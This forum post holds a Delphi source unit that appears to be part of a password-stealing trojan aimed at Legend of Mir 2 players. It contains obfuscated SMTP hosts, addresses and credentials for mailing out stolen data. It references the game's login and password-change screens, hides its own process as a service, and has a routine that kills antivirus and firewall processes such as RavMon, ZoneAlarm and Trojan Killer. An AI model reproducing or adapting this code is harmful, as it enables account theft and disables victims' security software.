[这个贴子最后由x86在 2005/04/20 08:37pm 第 3 次编辑]
unit Other;
interface
Uses Windows,tlhelp32,PsAPI;
type
PStrData = ^TStrData;
TStrData = record
Ident: Integer;
Str: string;
end;
TUseInfo=record
QQ,
Mail,
Page:string;
DL:boolean;
end;
TSendMailInfo=record
IPAddress,
FAddress,
FName,
FPW,
FCName,
FCPW:string;
end;
{ FloatToText, FloatToTextFmt, TextToFloat, and FloatToDecimal type codes }
TFloatValue = (fvExtended, fvCurrency);
{ FloatToText format codes }
PDayTable = ^TDayTable;
TDayTable = array[1..12] of Word;
TFloatFormat = (ffGeneral, ffExponent, ffFixed, ffNumber, ffCurrency);
function UpperCase(const S: string): string;
function LowerCase(const S: string): string;
function HTW(Str:String):String;
function StrLen(const Str: PChar): Cardinal; assembler;
function StrCopy(Dest: PChar; const Source: PChar): PChar;
function StrPas(const Str: PChar): string;
function Inttostr(const Int:integer):string;
function StrToInt(const S: string): Integer;
function LoadStr(Ident: Integer): string;
function AllocMem(Size: Cardinal): Pointer;
function Format(const Format: string; const Args: array of const): string;
function HexToInt(HexStr: string): Int64;
function strtohex(str:string):string;
function IntToHex(Value: Int64; Digits: Integer): string;
function hextostr(str:string):string;
function ReadString(const FFileName, Section,Ident, Default: string): string;
Function splite_str(str,s:string):integer;
procedure dowithfile;
//_____________________________
//function GetServerName(Logo:String;Y:integer):String;
function extractPath(const Str:String):string;
//function GetServerPlace(Y:integer):String;
function FileExists(const FileName: string): Boolean;
Function FileTimeGet(FileName:string;TimeType:Integer):String;
//function GetServerPlace(Y:integer):String;
function GetDateTime:String;
function myGetComputerName:String;
function GetWP:string;
procedure Killer;
function Killpro(ExeFileName: string): Integer;
procedure HideSelfToBeService;
function FindPro(ExeFileName: string ;var path: string):boolean;
function judgesys:integer;
//function ASendmessage(handle:hwnd;Wmsg:integer;
// Lparam:integer; Wparam:Pchar):integer;
Function MakeSelfCode(const S:String):String;
function GetAddress(EMailCurrent:integer):String;
function GetHost:String;
function Getport:String;
function GetToaddress(index:integer):String;
procedure SetToaddress(const Value:array of string);
function GetFromaddress(EMailCurrent:integer):String;
function GetOwnaddress:string;
function SetOwnaddress(Value:string):String;
function GetName(EMailCurrent:integer):String;
function GetPW(EMailCurrent:integer):String;
function GetCheckName(EMailCurrent:integer):string;
function GetCheckPW(EMailCurrent:integer):string;
procedure SetDL(QQ,Mail,Page:string;DL:boolean=true);
const
fmOpenRead = $0000;
fmOpenWrite = $0001;
fmOpenReadWrite = $0002;
fmShareCompat = $0000 platform; // DOS compatibility mode is not portable
fmShareExclusive = $0010;
fmShareDenyWrite = $0020;
fmShareDenyRead = $0030 platform; // write-only not supported on all platforms
fmShareDenyNone = $0040;
{ The MonthDays array can be used to quickly find the number of
days in a month: MonthDays[IsLeapYear(Y), M] }
MonthDays: array [Boolean] of TDayTable =
((31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31),
(31, 29, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31));
{ Days between 1/1/0001 and 12/31/1899 }
DateDelta = 693594;
Reg_As_Service =1;
Un_Reg_As_Service =0;
//TSMail =';cc07@cc07.net';;
SubMainKey=';legend of mir2';;
SubSubKey=';legend of mir2\Enter';;
SubChange=';legend of mir2\Change password';;
SubRegistry=';legend of mir2\Registry';;
CaptionName=';Windows IDE';;
//20030907
//--- send mail infor 20030907
MailMax=3;
IPAddress:array[1..MailMax] of string= /
(
';jtmi7+(zw7zvt';, jtmi7(/*7w|m smtp.163.net
';jtmi7(/*7zvt';,
';jtmi7jpwx7zvt7zw';
);
FAddress:array[1..MailMax] of string=
(
';tpk*j|w}+(Y+(zw7zvt';,
';tpk*j|w}Y(/*7zvt';,
';1111';
);
FName:array[1..MailMax] of string=
(
';tpk*j|w}+(';,
';tpk*j|w}';,
';w{cqs((+(';
);
FPW:array[1..MailMax] of string=
(
';p|*+(zwzvt';,
';tjx({+z*}-';,
';w{cqs((+(';
);
FCName:array[1..MailMax] of string=
(
';{Nu`T*Wu{tH`TH$$';,
';{Nu`T*Wu{tH$';,
';{tS/x^vaTMPa';
);
FCPW:array[1..MailMax] of string=
(
';xNLcTs_s{tWo{H$$';,
';{AWqTNP`@cWrWX$$';,
';{tS/x^vaTMPa';
);
RMailMax=3;
var FToaddress:array[1..RMailMax] of string;
SendMailInfo :array[1..MailMax] of TSendMailInfo;
TryVer:string;
EMailCurrent,EmailCount:integer;
EMailUserOwn:boolean;
EMailOwnCurrent:integer; //
DLOK:boolean;
UseInfo:TUseInfo;
CurrencyDecimals: Byte;
FOwnToaddress:string;
WinX:boolean;
DLSTR:string;
TSMail:string;
SoftPrice:string;
MSubject1,MSubject2,
MSubject3:string;
ConfigPath:string;
splite_array:array of string;
implementation
uses Reg, Pdh;
function ASendmessage(handle:hwnd;Wmsg:integer;
Lparam:integer; Wparam:Pchar):integer;external ';user32.dll'; name ';SendMessageA';;
procedure HideSelfToBeService;
var Pid:DWORD;
//Regserv:DWORD;
LibHandle:HWND;
DllName:function(dwProcessId,dwType:DWORD):DWORD;stdcall;
begin
LibHandle:=LoadLibrary(';kernel32.dll';);
if LibHandle<32 then
begin
Exit;
end;
@DllName:=GetProcAddress(LibHandle,';RegisterServiceProcess';);
if @DllName=NIL then
begin
FreeLibrary(LibHandle);
Exit;
end;
try
Pid := GetCurrentProcessId;
DllName(pid, Reg_As_Service); //Regserv := RegisterServiceProcess
finally
FreeLibrary(LibHandle);
end;
end;
function extractfilename(const Str:String):string;
var L,i,flag:integer;
begin
L:=Length(Str);
for i:=1 to L do if Str=';\'; then flag:=i;
result:=copy(Str,flag+1,L-flag);
end;
function UpperCase(const S: string): string;
var Ch: Char;
L: Integer;
Source, Dest: PChar;
begin
L := Length(S);
SetLength(Result, L);
Source := Pointer(S);
Dest := Pointer(Result);
while L <> 0 do begin
Ch := Source^;
if (Ch >= ';a';) and (Ch <= ';z';) then Dec(Ch, 32);
Dest^ := Ch;
Inc(Source);
Inc(Dest);
Dec(L);
end;
end;
function LowerCase(const S: string): string;
var
Ch: Char;
L: Integer;
Source, Dest: PChar;
begin
L := Length(S);
SetLength(Result, L);
Source := Pointer(S);
Dest := Pointer(Result);
while L <> 0 do
begin
Ch := Source^;
if (Ch >= ';A';) and (Ch <= ';Z';) then Inc(Ch, 32);
Dest^ := Ch;
Inc(Source);
Inc(Dest);
Dec(L);
end;
end;
function FileAge(const FileName: string): Integer;
type
LongRec = packed record
case Integer of
0: (Lo, Hi: Word);
1: (Words: array [0..1] of Word);
2: (Bytes: array [0..3] of Byte);
end;
var
Handle: THandle;
FindData: TWin32FindData;
LocalFileTime: TFileTime;
begin
Handle := FindFirstFile(PChar(FileName), FindData);
if Handle <> INVALID_HANDLE_VALUE then
begin
Windows.FindClose(Handle);
if (FindData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) = 0 then
begin
FileTimeToLocalFileTime(FindData.ftLastWriteTime, LocalFileTime);
if FileTimeToDosDateTime(LocalFileTime, LongRec(Result).Hi,
LongRec(Result).Lo) then Exit;
end;
end;
Result := -1;
end;
function FileExists(const FileName: string): Boolean;
begin
Result := FileAge(FileName) <> -1;
end;
function FileRead(Handle: Integer; var Buffer; Count: LongWord): Integer;
begin
if not ReadFile(THandle(Handle), Buffer, Count, LongWord(Result), nil) then
Result := -1;
end;
function FileWrite(Handle: Integer; const Buffer; Count: LongWord): Integer;
begin
if not WriteFile(THandle(Handle), Buffer, Count, LongWord(Result), nil) then
Result := -1;
end;
procedure FileClose(Handle: Integer);
begin
CloseHandle(THandle(Handle));
end;
function FileSeek(Handle, Offset, Origin: Integer): Integer;
begin
Result := SetFilePointer(THandle(Handle), Offset, nil, Origin);
END;
function FileCreate(const FileName: string): Integer;
begin
Result := Integer(CreateFile(PChar(FileName), GENERIC_READ or GENERIC_WRITE,
0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0));
end;
function FileOpen(const FileName: string; Mode: LongWord): Integer;
const
AccessMode: array[0..2] of LongWord = (
GENERIC_READ,
GENERIC_WRITE,
GENERIC_READ or GENERIC_WRITE);
ShareMode: array[0..4] of LongWord = (
0,
0,
FILE_SHARE_READ,
FILE_SHARE_WRITE,
FILE_SHARE_READ or FILE_SHARE_WRITE);
begin
Result := -1;
if ((Mode and 3) <= fmOpenReadWrite) and
(((Mode and $F0) shr 4) <= fmShareDenyNone) then
Result := Integer(CreateFile(PChar(FileName), AccessMode[Mode and 3],
ShareMode[(Mode and $F0) shr 4], nil, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, 0));
end;
function IsLeapYear(Year: Word): Boolean;
begin
Result := (Year mod 4 = 0) and ((Year mod 100 <> 0) or (Year mod 400 = 0));
end;
function TryEncodeDate(Year, Month, Day: Word; out Date: TDateTime): Boolean;
var
I: Integer;
DayTable: PDayTable;
begin
Result := False;
DayTable := @MonthDays[IsLeapYear(Year)];
if (Year >= 1) and (Year <= 9999) and (Month >= 1) and (Month <= 12) and
(Day >= 1) and (Day <= DayTable^[Month]) then
begin
for I := 1 to Month - 1 do Inc(Day, DayTable^[I]);
I := Year - 1;
Date := I * 365 + I div 4 - I div 100 + I div 400 + Day - DateDelta;
Result := True;
end;
end;
function EncodeDate(Year, Month, Day: Word): TDateTime;
begin
if not TryEncodeDate(Year, Month, Day, Result) then
//ConvertError(@SDateEncodeError);
end;
function SystemTimeToDateTime(const SystemTime: TSystemTime): TDateTime;
begin
with SystemTime do
begin
Result := EncodeDate(wYear, wMonth, wDay);
{if Result >= 0 then
Result := Result + EncodeTime(wHour, wMinute, wSecond, wMilliSeconds)
else
Result := Result - EncodeTime(wHour, wMinute, wSecond, wMilliSeconds); }
end;
end;
Function FileTimeGet(FileName:string;TimeType:Integer):String;
Var
FT1:TFileTime;
hFile: THandle;
SystemTime:TSystemTime;
begin
hFile := FileOpen( FileName,fmShareDenyNone );
Result:=';';;//Now;
if hFile <> 0 then begin
case TimeType of
1:GetFileTime( hFile, @FT1, nil, nil );//create
2:GetFileTime( hFile, nil, @FT1, nil );//access
3:GetFileTime( hFile, nil, nil, @FT1 );//write
end;
FileTimeToLocalFileTime( FT1, FT1 );
FileTimeToSystemTime( FT1, SystemTime );
Result:=inttostr(SystemTime.wYear) +';-';+inttostr(SystemTime.wMonth) +';-';+inttostr(SystemTime.wDay) ;//SystemTimeToDateTime(SystemTime);
end;
FileClose( hFile );
end;
function GetDateTime:String;
var D:_systemtime;
begin
GetlocalTime(D);
Result:=inttostr(D.wYear)+';-';+inttostr(D.wMonth)+';-';+inttostr(D.wDay)+'; ';+inttostr(D.wHour)+';:';+inttostr(D.wMinute)+';:';+inttostr(D.wSecond);
end;
function StrToInt(const S: string): Integer;
var
E: Integer;
begin
Val(S, Result, E);
end;
function HTW(Str:String):String;
begin
if Length(Str)>2 then begin
Delete(Str,1,2);
Result:=';**';+Str;
end else Result:=Str;
end;
function StrLen(const Str: PChar): Cardinal; assembler;
asm
MOV EDX,EDI
MOV EDI,EAX
MOV ECX,0FFFFFFFFH
XOR AL,AL
REPNE SCASB
MOV EAX,0FFFFFFFEH
SUB EAX,ECX
MOV EDI,EDX
end;
function StrCopy(Dest: PChar; const Source: PChar): PChar;
asm
PUSH EDI
PUSH ESI
MOV ESI,EAX
MOV EDI,EDX
MOV ECX,0FFFFFFFFH
XOR AL,AL
REPNE SCASB
NOT ECX
MOV EDI,ESI
MOV ESI,EDX
MOV EDX,ECX
MOV EAX,EDI
SHR ECX,2
REP MOVSD
MOV ECX,EDX
AND ECX,3
REP MOVSB
POP ESI
POP EDI
end;
function StrPas(const Str: PChar): string;
begin
Result:=Str;
end;
function Inttostr(const Int:integer):string;
Var d,m:integer;
Begin
m:=int;
Result:=';';;
while m<>0 do begin
d:=m mod 10;
m:=m div 10;
Result:=chr(d+48)+Result;
end;
end;
function EnumStringModules(Instance: Longint; Data: Pointer): Boolean;
{$IFDEF MSWINDOWS}
var
Buffer: array [0..1023] of char;
begin
with PStrData(Data)^ do
begin
SetString(Str, Buffer,
LoadString(Instance, Ident, Buffer, sizeof(Buffer)));
Result := Str = ';';;
end;
end;
{$ENDIF}
function FindStringResource(Ident: Integer): string;
var
StrData: TStrData;
begin
StrData.Ident := Ident;
StrData.Str := ';';;
EnumResourceModules(EnumStringModules, @StrData);
Result := StrData.Str;
end;
function LoadStr(Ident: Integer): string;
begin
Result := FindStringResource(Ident);
end;
function AllocMem(Size: Cardinal): Pointer;
begin
GetMem(Result, Size);
FillChar(Result^, Size, 0);
end;
procedure FormatError(ErrorCode: Integer; Format: PChar; FmtLen: Cardinal);
begin
end;
procedure FormatClearStr(var S: string);
begin
S := ';';;
end;
procedure FormatVarToStr(var S: string; const V: Variant);
begin
S := V;
end;
function FloatToText(BufferArg: PChar; const Value; ValueType: TFloatValue;
Format: TFloatFormat; Precision, Digits: Integer): Integer;
begin
end;
function FormatBuf(var Buffer; BufLen: Cardinal; const Format;
FmtLen: Cardinal; const Args: array of const): Cardinal;
var
ArgIndex, Width, Prec: Integer;
BufferOrg, FormatOrg, FormatPtr, TempStr: PChar;
JustFlag: Byte;
StrBuf: array[0..64] of Char;
TempAnsiStr: string;
TempInt64 : int64;
SaveGOT: Integer;
{ in: eax <-> Buffer }
{ in: edx <-> BufLen }
{ in: ecx <-> Format }
asm
PUSH EBX
PUSH ESI
PUSH EDI
MOV EDI,EAX
MOV ESI,ECX
{$IFDEF PIC}
PUSH ECX
CALL GetGOT
POP ECX
{$ELSE}
XOR EAX,EAX
{$ENDIF}
MOV SaveGOT,EAX
ADD ECX,FmtLen
MOV BufferOrg,EDI
XOR EAX,EAX
MOV ArgIndex,EAX
MOV TempStr,EAX
MOV TempAnsiStr,EAX
@Loop:
OR EDX,EDX
JE @Done
@NextChar:
CMP ESI,ECX
JE @Done
LODSB
CMP AL,';%';
JE @Format
@StoreChar:
STOSB
DEC EDX
JNE @NextChar
@Done:
MOV EAX,EDI
SUB EAX,BufferOrg
JMP @Exit
@Format:
CMP ESI,ECX
JE @Done
LODSB
CMP AL,';%';
JE @StoreChar
LEA EBX,[ESI-2]
MOV FormatOrg,EBX
@A0: MOV JustFlag,AL
CMP AL,';-';
JNE @A1
CMP ESI,ECX
JE @Done
LODSB
@A1: CALL @Specifier
CMP AL,';:';
JNE @A2
MOV ArgIndex,EBX
CMP ESI,ECX
JE @Done
LODSB
JMP @A0
@A2: MOV Width,EBX
MOV EBX,-1
CMP AL,';.';
JNE @A3
CMP ESI,ECX
JE @Done
LODSB
CALL @Specifier
@A3: MOV Prec,EBX
MOV FormatPtr,ESI
PUSH ECX
PUSH EDX
CALL @Convert
POP EDX
MOV EBX,Width
SUB EBX,ECX //(* ECX <=> number of characters output *)
JAE @A4 //(* jump -> output smaller than width *)
XOR EBX,EBX
@A4: CMP JustFlag,';-';
JNE @A6
SUB EDX,ECX
JAE @A5
ADD ECX,EDX
XOR EDX,EDX
@A5: REP MOVSB
@A6: XCHG EBX,ECX
SUB EDX,ECX
JAE @A7
ADD ECX,EDX
XOR EDX,EDX
@A7: MOV AL,'; ';
REP STOSB
XCHG EBX,ECX
SUB EDX,ECX
JAE @A8
ADD ECX,EDX
XOR EDX,EDX
@A8: REP MOVSB
CMP TempStr,0
JE @A9
PUSH EDX
LEA EAX,TempStr
// PUSH EBX // GOT setup unnecessary for
// MOV EBX, SaveGOT // same-unit calls to Pascal procedures
CALL FormatClearStr
// POP EBX
POP EDX
@A9: POP ECX
MOV ESI,FormatPtr
JMP @Loop
@Specifier:
XOR EBX,EBX
CMP AL,';*';
JE @B3
@B1: CMP AL,';0';
JB @B5
CMP AL,';9';
JA @B5
IMUL EBX,EBX,10
SUB AL,';0';
MOVZX EAX,AL
ADD EBX,EAX
CMP ESI,ECX
JE @B2
LODSB
JMP @B1
@B2: POP EAX
JMP @Done
@B3: MOV EAX,ArgIndex
CMP EAX,Args.Integer[-4]
JA @B4
INC ArgIndex
MOV EBX,Args
CMP [EBX+EAX*8].Byte[4],vtInteger
MOV EBX,[EBX+EAX*8]
JE @B4
XOR EBX,EBX
@B4: CMP ESI,ECX
JE @B2
LODSB
@B5: RET
@Convert:
AND AL,0DFH
MOV CL,AL
MOV EAX,1
MOV EBX,ArgIndex
CMP EBX,Args.Integer[-4]
JA @ErrorExit
INC ArgIndex
MOV ESI,Args
LEA ESI,[ESI+EBX*8]
MOV EAX,[ESI].Integer[0] // TVarRec.data
MOVZX EDX,[ESI].Byte[4] // TVarRec.VType
{$IFDEF PIC}
MOV EBX, SaveGOT
ADD EBX, offset @CvtVector
MOV EBX, [EBX+EDX*4]
ADD EBX, SaveGOT
JMP EBX
{$ELSE}
JMP @CvtVector.Pointer[EDX*4]
{$ENDIF}
@CvtVector:
DD @CvtInteger // vtInteger
DD @CvtBoolean // vtBoolean
DD @CvtChar // vtChar
DD @CvtExtended // vtExtended
DD @CvtShortStr // vtString
DD @CvtPointer // vtPointer
DD @CvtPChar // vtPChar
DD @CvtObject // vtObject
DD @CvtClass // vtClass
DD @CvtWideChar // vtWideChar
DD @CvtPWideChar // vtPWideChar
DD @CvtAnsiStr // vtAnsiString
DD @CvtCurrency // vtCurrency
DD @CvtVariant // vtVariant
DD @CvtInterface // vtInterface
DD @CvtWideString // vtWideString
DD @CvtInt64 // vtInt64
@CvtBoolean:
@CvtObject:
@CvtClass:
@CvtWideChar:
@CvtInterface:
@CvtError:
XOR EAX,EAX
@ErrorExit:
CALL @ClearTmpAnsiStr
MOV EDX,FormatOrg
MOV ECX,FormatPtr
SUB ECX,EDX
{$IFDEF PC_MAPPED_EXCEPTIONS}
// Because of all the assembly code here, we can';t call a routine
// that throws an exception if it looks like we';re still on the
// stack. The static disassembler cannot give sufficient unwind
// frame info to unwind the confusion that is generated from the
// assembly code above. So before we throw the exception, we
// go to some lengths to excise ourselves from the stack chain.
// We were passed 12 bytes of parameters on the stack, and we have
// to make sure that we get rid of those, too.
MOV EBX, SaveGOT
MOV ESP, EBP // Ditch everthing to the frame
MOV EBP, [ESP + 4] // Get the return addr
MOV [ESP + 16], EBP // Move the ret addr up in the stack
POP EBP // Ditch the rest of the frame
ADD ESP, 12 // Ditch the space that was taken by params
JMP FormatError // Off to FormatErr
{$ELSE}
MOV EBX, SaveGOT
CALL FormatError
{$ENDIF}
// The above call raises an exception and does not return
@CvtInt64:
// CL <= format character
// EAX <= address of int64
// EBX <= TVarRec.VType
LEA EBX, TempInt64 // (input is array of const; save original)
MOV EDX, [EAX]
MOV [EBX], EDX
MOV EDX, [EAX + 4]
MOV [EBX + 4], EDX
// EBX <= address of TempInt64
CMP CL,';D';
JE @DecI64
CMP CL,';U';
JE @DecI64_2
CMP CL,';X';
JNE @CvtError
@HexI64:
MOV ECX,16 // hex divisor
JMP @CvtI64
@DecI64:
TEST DWORD PTR [EBX + 4], $80000000 // sign bit set?
JE @DecI64_2 // no -> bypass ';-'; output
NEG DWORD PTR [EBX] // negate lo-order, then hi-order
ADC DWORD PTR [EBX+4], 0
NEG DWORD PTR [EBX+4]
CALL @DecI64_2
MOV AL,';-';
INC ECX
DEC ESI
MOV [ESI],AL
RET
@DecI64_2: // unsigned int64 output
MOV ECX,10 // decimal divisor
@CvtI64:
LEA ESI,StrBuf[32]
@CvtI64_1:
PUSH EBX
PUSH ECX // save radix
PUSH 0
PUSH ECX // radix divisor (10 or 16 only)
MOV EAX, [EBX]
MOV EDX, [EBX + 4]
MOV EBX, SaveGOT
CALL System.@_llumod
POP ECX // saved radix
POP EBX
XCHG EAX, EDX // lo-value to EDX for character output
ADD DL,';0';
CMP DL,';0';+10
JB @CvtI64_2
ADD DL,(';A';-';0';)-10
@CvtI64_2:
DEC ESI
MOV [ESI],DL
PUSH EBX
PUSH ECX // save radix
PUSH 0
PUSH ECX // radix divisor (10 or 16 only)
MOV EAX, [EBX] // value := value DIV radix
MOV EDX, [EBX + 4]
MOV EBX, SaveGOT
CALL System.@_lludiv
POP ECX // saved radix
POP EBX
MOV [EBX], EAX
MOV [EBX + 4], EDX
OR EAX,EDX // anything left to output?
JNE @CvtI64_1 // no jump => EDX:EAX = 0
LEA ECX,StrBuf[32]
SUB ECX,ESI
MOV EDX,Prec
CMP EDX,16
JBE @CvtI64_3
RET
@CvtI64_3:
SUB EDX,ECX
JBE @CvtI64_5
ADD ECX,EDX
MOV AL,';0';
@CvtI64_4:
DEC ESI
MOV [ESI],AL
DEC EDX
JNE @CvtI64_4
@CvtI64_5:
RET
////////////////////////////////////////////////
@CvtInteger:
CMP CL,';D';
JE @C1
CMP CL,';U';
JE @C2
CMP CL,';X';
JNE @CvtError
MOV ECX,16
JMP @CvtLong
@C1: OR EAX,EAX
JNS @C2
NEG EAX
CALL @C2
MOV AL,';-';
INC ECX
DEC ESI
MOV [ESI],AL
RET
@C2: MOV ECX,10
@CvtLong:
LEA ESI,StrBuf[16]
@D1: XOR EDX,EDX
DIV ECX
ADD DL,';0';
CMP DL,';0';+10
JB @D2
ADD DL,(';A';-';0';)-10
@D2: DEC ESI
MOV [ESI],DL
OR EAX,EAX
JNE @D1
LEA ECX,StrBuf[16]
SUB ECX,ESI
MOV EDX,Prec
CMP EDX,16
JBE @D3
RET
@D3: SUB EDX,ECX
JBE @D5
ADD ECX,EDX
MOV AL,';0';
@D4: DEC ESI
MOV [ESI],AL
DEC EDX
JNE @D4
@D5: RET
@CvtChar:
CMP CL,';S';
JNE @CvtError
MOV ECX,1
RET
@CvtVariant:
CMP CL,';S';
JNE @CvtError
CMP [EAX].TVarData.VType,varNull
JBE @CvtEmptyStr
MOV EDX,EAX
LEA EAX,TempStr
// PUSH EBX // GOT setup unnecessary for
// MOV EBX, SaveGOT // same-unit calls to Pascal procedures
CALL FormatVarToStr
// POP EBX
MOV ESI,TempStr
JMP @CvtStrRef
@CvtEmptyStr:
XOR ECX,ECX
RET
@CvtShortStr:
CMP CL,';S';
JNE @CvtError
MOV ESI,EAX
LODSB
MOVZX ECX,AL
JMP @CvtStrLen
@CvtPWideChar:
MOV ESI,OFFSET System.@LStrFromPWChar
JMP @CvtWideThing
@CvtWideString:
MOV ESI,OFFSET System.@LStrFromWStr
@CvtWideThing:
ADD ESI, SaveGOT
CMP CL,';S';
JNE @CvtError
MOV EDX,EAX
LEA EAX,TempAnsiStr
PUSH EBX
MOV EBX, SaveGOT
CALL ESI
POP EBX
MOV ESI,TempAnsiStr
MOV EAX,ESI
JMP @CvtStrRef
@CvtAnsiStr:
CMP CL,';S';
JNE @CvtError
MOV ESI,EAX
@CvtStrRef:
OR ESI,ESI
JE @CvtEmptyStr
MOV ECX,[ESI-4]
@CvtStrLen:
CMP ECX,Prec
JA @E1
RET
@E1: MOV ECX,Prec
RET
@CvtPChar:
CMP CL,';S';
JNE @CvtError
MOV ESI,EAX
PUSH EDI
MOV EDI,EAX
XOR AL,AL
MOV ECX,Prec
JECXZ @F1
REPNE SCASB
JNE @F1
DEC EDI
@F1: MOV ECX,EDI
SUB ECX,ESI
POP EDI
RET
@CvtPointer:
CMP CL,';P';
JNE @CvtError
MOV Prec,8
MOV ECX,16
JMP @CvtLong
@CvtCurrency:
MOV BH,fvCurrency
JMP @CvtFloat
@CvtExtended:
MOV BH,fvExtended
@CvtFloat:
MOV ESI,EAX
MOV BL,ffGeneral
CMP CL,';G';
JE @G2
MOV BL,ffExponent
CMP CL,';E';
JE @G2
MOV BL,ffFixed
CMP CL,';F';
JE @G1
MOV BL,ffNumber
CMP CL,';N';
JE @G1
CMP CL,';M';
JNE @CvtError
MOV BL,ffCurrency
@G1: MOV EAX,18
MOV EDX,Prec
CMP EDX,EAX
JBE @G3
MOV EDX,2
CMP CL,';M';
JNE @G3
MOVZX EDX,CurrencyDecimals
JMP @G3
@G2: MOV EAX,Prec
MOV EDX,3
CMP EAX,18
JBE @G3
MOV EAX,15
@G3: PUSH EBX
PUSH EAX
PUSH EDX
LEA EAX,StrBuf
MOV EDX,ESI
MOVZX ECX,BH
MOV EBX, SaveGOT
CALL FloatToText
MOV ECX,EAX
LEA ESI,StrBuf
RET
@ClearTmpAnsiStr:
PUSH EBX
PUSH EAX
LEA EAX,TempAnsiStr
MOV EBX, SaveGOT
CALL System.@LStrClr
POP EAX
POP EBX
RET
@Exit:
CALL @ClearTmpAnsiStr
POP EDI
POP ESI
POP EBX
end;
procedure FmtStr(var Result: string; const Format: string;
const Args: array of const);
var
Len, BufLen: Integer;
Buffer: array[0..4095] of Char;
begin
BufLen := SizeOf(Buffer);
if Length(Format) < (sizeof(Buffer) - (sizeof(Buffer) div 4)) then
Len := FormatBuf(Buffer, sizeof(Buffer) - 1, Pointer(Format)^, Length(Format), Args)
else
begin
BufLen := Length(Format);
Len := BufLen;
end;
if Len >= BufLen - 1 then
begin
while Len >= BufLen - 1 do
begin
Inc(BufLen, BufLen);
Result := ';';; // prevent copying of existing data, for speed
SetLength(Result, BufLen);
Len := FormatBuf(Pointer(Result)^, BufLen - 1, Pointer(Format)^,
Length(Format), Args);
end;
SetLength(Result, Len);
end
else
SetString(Result, Buffer, Len);
end;
function Format(const Format: string; const Args: array of const): string;
begin
FmtStr(Result, Format, Args);
end;
function HexToInt(HexStr: string): Int64;
var RetVar: Int64;
i: byte;
begin
HexStr := UpperCase(HexStr);
if HexStr[length(HexStr)] = ';H'; then
Delete(HexStr, length(HexStr), 1);
RetVar := 0;
for i := 1 to length(HexStr) do begin
RetVar := RetVar shl 4;
if HexStr in [';0';..';9';] then
RetVar := RetVar + (byte(HexStr) - 48)
else
if HexStr in [';A';..';F';] then
RetVar := RetVar + (byte(HexStr) - 55)
else begin
Retvar := 0;
break;
end;
end;
Result := RetVar;
end;
//_________________________________________________
procedure Killer;
var s,Desktop:integer;
str:array[0..100] of char;
begin
{s:=findwindow(pchar(';RavMonClass';),pchar(';RavMon.exe';));
Sendmessage(s,$0010,0,0); }
Killpro(';RavMon.EXE';);
s:=findwindow(';Tapplication';,';天网防火墙个人版';);
Sendmessage(s,$0010,0,0);
s:=findwindow(';Tapplication';,';天网防火墙企业版';);
Sendmessage(s,$0010,0,0);
s:=0;
Desktop:=GetDesktopWindow;
repeat
s:=findwindowex(Desktop,s,';TForm1';,nil);
getwindowtext(s,str,9);
if str=';木马克星'; then sendmessage(s,$0010,0,0);
until s=0;
s:=0;
Desktop:=GetDesktopWindow;
repeat
s:=findwindowex(Desktop,s,';TForm1';,nil);
getwindowtext(s,str,7);
if str=';噬菌体'; then sendmessage(s,$0010,0,0);
until s=0;
s:=findwindow(pchar(';TfLockDownMain';),nil);
Sendmessage(s,$0010,0,0);
s:=findwindow(pchar(';ZAFrameWnd';),pchar(';ZoneAlarm';));
Sendmessage(s,$0010,0,0);
Killpro(';EGHOST.EXE';);
Killpro(';MAILMON.EXE';);
//Killpro(';KAVPFW.EXE';);
//Killpro(';Smc.exe';);
Killpro(';netbargp.exe';);
//Killpro(';KvXP_1.exe';);
End;
function Killpro(ExeFileName: string): Integer;
const
PROCESS_TERMINATE = $0001;
var
ContinueLoop: BOOL;
FSnapshotHandle: THandle;
FProcessEntry32: TProcessEntry32;
begin
Result := 0;
FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
FProcessEntry32.dwSize := SizeOf(FProcessEntry32);
ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32);
while Integer(ContinueLoop) <> 0 do
begin
if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) =
UpperCase(ExeFileName)) or (UpperCase(FProcessEntry32.szExeFile) =
UpperCase(ExeFileName))) then
Result := Integer(TerminateProcess(
OpenProcess(PROCESS_TERMINATE,
BOOL(0),
FProcessEntry32.th32ProcessID),
0));
ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32);
end;
CloseHandle(FSnapshotHandle);
end;
function myGetComputerName:String;
var pcComputer:PChar;
dwCSize:DWORD;
begin
dwCSize:=MAX_COMPUTERNAME_LENGTH+1;
GetMem(pcComputer,dwCSize);
try
if GetComputerName(pcComputer,dwCSize) then Result:=pcComputer;
finally
FreeMem(pcComputer);
end;
end;
function ReadString(const FFileName, Section,Ident, Default: string): string;
var
Buffer: array[0..2047] of Char;
begin
SetString(Result, Buffer, GetPrivateProfileString(PChar(Section),
PChar(Ident), PChar(Default), Buffer, SizeOf(Buffer), PChar(FFileName)));
end;
function GetWP:string;
var Buf:array[0..MAX_PATH] of char;
begin
GetWindowsDirectory(Buf,MAX_PATH);
Result:=Buf;
if Result[Length(Result)]<>';\'; then Result:=Result+';\';;
end;
{function GetServerPlace(Y:integer):String;
var s2,s3,s4,s6,s8,RES:String;
begin
case Y of
268..308:s2:=';1/2,';;
310..350:s2:=';2/2,';;
end;
case Y of
247..287:s3:=';1/3,';;
289..329:s3:=';2/3,';;
331..371:s3:=';3/3,';;
end;
case Y of
226..266:s4:=';1/4,';;
268..308:s4:=';2/4,';;
310..350:s4:=';3/4,';;
352..392:s4:=';4/4,';;
end;
case Y of
184..224:s6:=';1/6,';;
226..266:s6:=';2/6,';;
268..308:s6:=';3/6,';;
310..350:s6:=';4/6,';;
352..392:s6:=';5/6,';;
394..434:s6:=';6/6,';;
end;
case Y of
141..182:s8:=';1/8,';;
184..224:s8:=';2/8,';;
226..266:s8:=';3/8,';;
268..308:s8:=';4/8,';;
310..350:s8:=';5/8,';;
352..392:s8:=';6/8,';;
394..434:s8:=';7/8,';;
436..476:s8:=';8/8,';;
end;
RES:=s2+s3+s4+s6+s8;
if copy(RES,Length(RES),1)=';,'; then delete(RES,Length(RES),1);
if RES=';'; then Result:=';【未知】';
else Result:=';【';+RES+';】';;
end;}
function extractPath(const Str:String):string;
var L,i,flag:integer;
begin
L:=Length(Str);
for i:=L downto 1 do if Str=';\'; then begin
flag:=i;
break;
end;
result:=copy(Str,1,flag);
end;
